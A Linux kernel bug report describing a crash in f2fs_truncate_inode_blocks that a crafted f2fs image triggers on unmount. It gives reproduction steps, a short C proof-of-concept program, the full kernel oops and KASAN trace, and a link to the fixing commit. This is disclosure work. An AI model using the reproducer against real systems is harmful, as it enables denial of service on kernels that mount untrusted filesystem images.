Created attachment 276761 [details] The (compressed) crafted image which causes crash - Overview BUG() triggered in f2fs_truncate_inode_blocks() when un-mounting a mounted f2fs image after writing to it - Reproduce # mkdir mnt # mount -t f2fs 120.img mnt # gcc -o poc poc.c # ./poc ./mnt # umount mnt - POC (poc.c) #define _GNU_SOURCE #include <sys/types.h> #include <sys/mount.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/xattr.h> #include <dirent.h> #include <errno.h> #include <error.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/falloc.h> #include <linux/loop.h> static void activity(char *mpoint) { char *foo_bar_baz; int err; static int buf[8192]; memset(buf, 0, sizeof(buf)); err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint); // open / write / read int fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777); if (fd >= 0) { write(fd, (char *)buf, 517); write(fd, (char *)buf, sizeof(buf)); close(fd); } } int main(int argc, char *argv[]) { activity(argv[1]); return 0; } - Kernel meesage [ 552.479723] F2FS-fs (loop0): Mounted with checkpoint version = 2 [ 556.451891] ------------[ cut here ]------------ [ 556.451899] kernel BUG at fs/f2fs/node.c:987! [ 556.452920] invalid opcode: 0000 [#1] SMP KASAN PTI [ 556.453936] CPU: 1 PID: 1310 Comm: umount Not tainted 4.18.0-rc1+ #4 [ 556.455213] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 556.457140] RIP: 0010:f2fs_truncate_inode_blocks+0x4a7/0x6f0 [ 556.458280] Code: e8 ae ea ff ff 41 89 c7 c1 e8 1f 84 c0 74 0a 41 83 ff fe 0f 85 35 ff ff ff 81 85 b0 fe ff ff fb 03 00 00 e9 f7 fd ff ff 0f 0b <0f> 0b e8 62 b7 9a 00 48 8b bd a0 fe ff ff e8 56 54 ae ff 48 8b b5 [ 556.462015] RSP: 0018:ffff8801f292f808 EFLAGS: 00010286 [ 556.463068] RAX: ffffed003e73242d RBX: ffff8801f292f958 RCX: ffffffffb88b81bc [ 556.464479] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffff8801f3992164 [ 556.465901] RBP: ffff8801f292f980 R08: ffffed003e73242d R09: ffffed003e73242d [ 556.467311] R10: 0000000000000001 R11: ffffed003e73242c R12: 00000000fffffc64 [ 556.468706] R13: ffff8801f3992000 R14: 0000000000000058 R15: 00000000ffff8801 [ 556.470117] FS: 00007f8029297840(0000) GS:ffff8801f6f00000(0000) knlGS:0000000000000000 [ 556.471702] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 556.472838] CR2: 000055f5f57305d8 CR3: 00000001f18b0000 CR4: 00000000000006e0 [ 556.474265] Call Trace: [ 556.474782] ? f2fs_alloc_nid_failed+0xf0/0xf0 [ 556.475686] ? truncate_nodes+0x980/0x980 [ 556.476516] ? pagecache_get_page+0x21f/0x2f0 [ 556.477412] ? __asan_loadN+0xf/0x20 [ 556.478153] ? __get_node_page+0x331/0x5b0 [ 556.478992] ? reweight_entity+0x1e6/0x3b0 [ 556.479826] f2fs_truncate_blocks+0x55e/0x740 [ 556.480709] ? f2fs_truncate_data_blocks+0x20/0x20 [ 556.481689] ? __radix_tree_lookup+0x34/0x160 [ 556.482630] ? radix_tree_lookup+0xd/0x10 [ 556.483445] f2fs_truncate+0xd4/0x1a0 [ 556.484206] f2fs_evict_inode+0x5ce/0x630 [ 556.485032] evict+0x16f/0x290 [ 556.485664] iput+0x280/0x300 [ 556.486300] dentry_unlink_inode+0x165/0x1e0 [ 556.487169] __dentry_kill+0x16a/0x260 [ 556.487936] dentry_kill+0x70/0x250 [ 556.488651] shrink_dentry_list+0x125/0x260 [ 556.489504] shrink_dcache_parent+0xc1/0x110 [ 556.490379] ? shrink_dcache_sb+0x200/0x200 [ 556.491231] ? bit_wait_timeout+0xc0/0xc0 [ 556.492047] do_one_tree+0x12/0x40 [ 556.492743] shrink_dcache_for_umount+0x3f/0xa0 [ 556.493656] generic_shutdown_super+0x43/0x1c0 [ 556.494561] kill_block_super+0x52/0x80 [ 556.495341] kill_f2fs_super+0x62/0x70 [ 556.496105] deactivate_locked_super+0x6f/0xa0 [ 556.497004] deactivate_super+0x5e/0x80 [ 556.497785] cleanup_mnt+0x61/0xa0 [ 556.498492] __cleanup_mnt+0x12/0x20 [ 556.499218] task_work_run+0xc8/0xf0 [ 556.499949] exit_to_usermode_loop+0x125/0x130 [ 556.500846] do_syscall_64+0x138/0x170 [ 556.501609] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 556.502659] RIP: 0033:0x7f8028b77487 [ 556.503384] Code: 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 31 f6 e9 09 00 00 00 66 0f 1f 84 00 00 00 00 00 b8 a6 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e1 c9 2b 00 f7 d8 64 89 01 48 [ 556.507137] RSP: 002b:00007fff9f2e3598 EFLAGS: 00000246 ORIG_RAX: 00000000000000a6 [ 556.508637] RAX: 0000000000000000 RBX: 0000000000ebd030 RCX: 00007f8028b77487 [ 556.510069] RDX: 0000000000000001 RSI: 0000000000000000 RDI: 0000000000ec41e0 [ 556.511481] RBP: 0000000000ec41e0 R08: 0000000000000000 R09: 0000000000000014 [ 556.512892] R10: 00000000000006b2 R11: 0000000000000246 R12: 00007f802908083c [ 556.514320] R13: 0000000000000000 R14: 0000000000ebd210 R15: 00007fff9f2e3820 [ 556.515745] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd mac_hid i2c_piix4 soundcore ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx raid1 raid0 multipath linear 8139too crct10dif_pclmul crc32_pclmul qxl drm_kms_helper syscopyarea aesni_intel sysfillrect sysimgblt fb_sys_fops ttm drm aes_x86_64 crypto_simd cryptd 8139cp glue_helper mii pata_acpi floppy [ 556.529276] ---[ end trace 4ce02f25ff7d3df5 ]--- [ 556.530340] RIP: 0010:f2fs_truncate_inode_blocks+0x4a7/0x6f0 [ 556.531513] Code: e8 ae ea ff ff 41 89 c7 c1 e8 1f 84 c0 74 0a 41 83 ff fe 0f 85 35 ff ff ff 81 85 b0 fe ff ff fb 03 00 00 e9 f7 fd ff ff 0f 0b <0f> 0b e8 62 b7 9a 00 48 8b bd a0 fe ff ff e8 56 54 ae ff 48 8b b5 [ 556.535330] RSP: 0018:ffff8801f292f808 EFLAGS: 00010286 [ 556.536395] RAX: ffffed003e73242d RBX: ffff8801f292f958 RCX: ffffffffb88b81bc [ 556.537824] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffff8801f3992164 [ 556.539290] RBP: ffff8801f292f980 R08: ffffed003e73242d R09: ffffed003e73242d [ 556.540709] R10: 0000000000000001 R11: ffffed003e73242c R12: 00000000fffffc64 [ 556.542131] R13: ffff8801f3992000 R14: 0000000000000058 R15: 00000000ffff8801 [ 556.543579] FS: 00007f8029297840(0000) GS:ffff8801f6f00000(0000) knlGS:0000000000000000 [ 556.545180] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 556.546338] CR2: 000055f5f57305d8 CR3: 00000001f18b0000 CR4: 00000000000006e0 [ 556.547809] ================================================================== [ 556.549248] BUG: KASAN: stack-out-of-bounds in arch_tlb_gather_mmu+0x52/0x170 [ 556.550672] Write of size 8 at addr ffff8801f292fd10 by task umount/1310 [ 556.552338] CPU: 1 PID: 1310 Comm: umount Tainted: G D 4.18.0-rc1+ #4 [ 556.553886] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 556.555756] Call Trace: [ 556.556264] dump_stack+0x7b/0xb5 [ 556.556944] print_address_description+0x70/0x290 [ 556.557903] kasan_report+0x291/0x390 [ 556.558649] ? arch_tlb_gather_mmu+0x52/0x170 [ 556.559537] __asan_store8+0x57/0x90 [ 556.560268] arch_tlb_gather_mmu+0x52/0x170 [ 556.561110] tlb_gather_mmu+0x12/0x40 [ 556.561862] exit_mmap+0x123/0x2a0 [ 556.562555] ? __ia32_sys_munmap+0x50/0x50 [ 556.563384] ? exit_aio+0x98/0x230 [ 556.564079] ? __x32_compat_sys_io_submit+0x260/0x260 [ 556.565099] ? taskstats_exit+0x1f4/0x640 [ 556.565925] ? kasan_check_read+0x11/0x20 [ 556.566739] ? mm_update_next_owner+0x322/0x380 [ 556.567652] mmput+0x8b/0x1d0 [ 556.568260] do_exit+0x43a/0x1390 [ 556.568937] ? mm_update_next_owner+0x380/0x380 [ 556.569855] ? deactivate_super+0x5e/0x80 [ 556.570668] ? cleanup_mnt+0x61/0xa0 [ 556.571395] ? __cleanup_mnt+0x12/0x20 [ 556.572156] ? task_work_run+0xc8/0xf0 [ 556.572917] ? exit_to_usermode_loop+0x125/0x130 [ 556.573861] rewind_stack_do_exit+0x17/0x20 [ 556.574707] RIP: 0033:0x7f8028b77487 [ 556.575428] Code: Bad RIP value. [ 556.576106] RSP: 002b:00007fff9f2e3598 EFLAGS: 00000246 ORIG_RAX: 00000000000000a6 [ 556.577599] RAX: 0000000000000000 RBX: 0000000000ebd030 RCX: 00007f8028b77487 [ 556.579020] RDX: 0000000000000001 RSI: 0000000000000000 RDI: 0000000000ec41e0 [ 556.580422] RBP: 0000000000ec41e0 R08: 0000000000000000 R09: 0000000000000014 [ 556.581833] R10: 00000000000006b2 R11: 0000000000000246 R12: 00007f802908083c [ 556.583252] R13: 0000000000000000 R14: 0000000000ebd210 R15: 00007fff9f2e3820 [ 556.584983] The buggy address belongs to the page: [ 556.585961] page:ffffea0007ca4bc0 count:0 mapcount:0 mapping:0000000000000000 index:0x0 [ 556.587540] flags: 0x2ffff0000000000() [ 556.588296] raw: 02ffff0000000000 0000000000000000 dead000000000200 0000000000000000 [ 556.589822] raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000 [ 556.591359] page dumped because: kasan: bad access detected [ 556.592786] Memory state around the buggy address: [ 556.593753] ffff8801f292fc00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 556.595191] ffff8801f292fc80: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00 [ 556.596613] >ffff8801f292fd00: 00 00 f3 00 00 00 00 f3 f3 00 00 00 00 f4 f4 f4 [ 556.598044] ^ [ 556.598797] ffff8801f292fd80: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 [ 556.600225] ffff8801f292fe00: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 f4 f4 f4 [ 556.601647] ================================================================== - Location https://elixir.bootlin.com/linux/v4.18-rc1/source/fs/f2fs/node.c#L987 case NODE_DIND_BLOCK: err = truncate_nodes(&dn, nofs, offset[1], 3); cont = 0; break; default: BUG(); <--- } Reported by Wen Xu (wen.xu@gatech.edu) from SSLab, Gatech.
Fixed by below commit: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e34438c903b653daca2b2a7de95aed46226f8ed3